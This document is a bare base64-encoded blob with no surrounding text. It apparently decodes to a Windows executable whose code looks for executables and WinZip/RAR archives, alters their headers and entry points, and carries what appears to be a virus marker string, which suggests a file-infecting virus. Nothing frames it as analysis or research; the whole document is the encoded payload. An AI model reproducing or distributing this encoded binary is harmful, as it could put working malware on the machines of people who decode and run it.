49Y398am49amt/cnpmfj9wen4/cHpncz9wemdzOGd8a21uOmt9dnB3fXIzcX1qbj1xc3NxcH 4/WE49YXh6aW98a349f3B5Om46e3prfXpuMXxuPXJ7f3B+N3pgMix8YCMUGUt+Ont4a3Jxfm t6fjpmd31uOHxre343c3N7YHd6Z246YXFyfjphfjp7eHt/em46Znt+M39yd313cXttbjhnfG ttYDIsfGAjFBdBe24xcHJ3bjB7e3p+OmF+PGtgfjpmd31uOmFxcn4xcH17cj9wen46Zntwfj VSe3RuOWdycn4we3hrfG49cXN7fjdwemF+N2F7bG4+TVAyLHxgIxQQUVpLVC48W31/e21rfj pmd31uOmFxcn4/fXptbj99bj9+OH91e341Unt0bjphfjhxcXJ+OmZ7fjxrf3J+OWF8Y3I9YX N7fj9YTjNxcHd6YXxuM393bHt+PXxnbjlme3B+N2F7bjxrYH43emAyLHxgIxQXWH49YXI3WX BxfGt+OmZ7fjlvfGB3cHlyP3B6fj1rcnt9em45PXFwemdwe2t5MDIsfGAjFBdYfjdhe242f3 hrfj9wd24/a2t9amdxcHI+Ynt/fWt+Mi9+NnxreHMtKlN/d3J6YXQrPWAjf3dyfjphfjN7ci E/cCA+Hh4eHh4eHhMUGUdwfSwuNVJ7dG44TCA+Ly44PjlHcH0sLjhRfGF7Zm44TyA+IxQdUX 5nbGd5dnpuPC4uLCIzf3p7fjdwfj9dZ39zFB9ccXtqbjVSe3RuOEwgPi8kIxQXHyIzX3dwfj N3fW1ncXB+N31uOmF+PGtye399a346Znt+MHt5bjx/fHduPkteOGd8a21iOUdwfSwuOFF8YX tmYxQXHCIwUX49Z3lwd3h3fX9wem49dn9weXtwMFF+PHtpfjh3dmt6cDBRfj9wd24+b3dicX 96cDMUH1xxe2puOUdwfSwuOFF8YXtmbjY+YnRuNXt7fm46Znt+MH9ze3I6Zn9wdmczFBcfIj hbYnJ+PXFzfm96Z3xye345R3B9LC4+S144Z3xrbW4xcH45R3B3JkE8JVEwWkE2TkMUFxwiOU d6Zn44a3xnbjdwemt8a31qZ3B5fjh7f3prbGtwPVZ7fXV+N3pvMxQXHSIwUX4/cHduPm93Yn F/enAwUX4/cHduMX5qZ3N3dG96Z3FwcxQXGiIwUXpuPHtpfjh8a3tyPHt9f3tta34xeH4/fj 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 m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 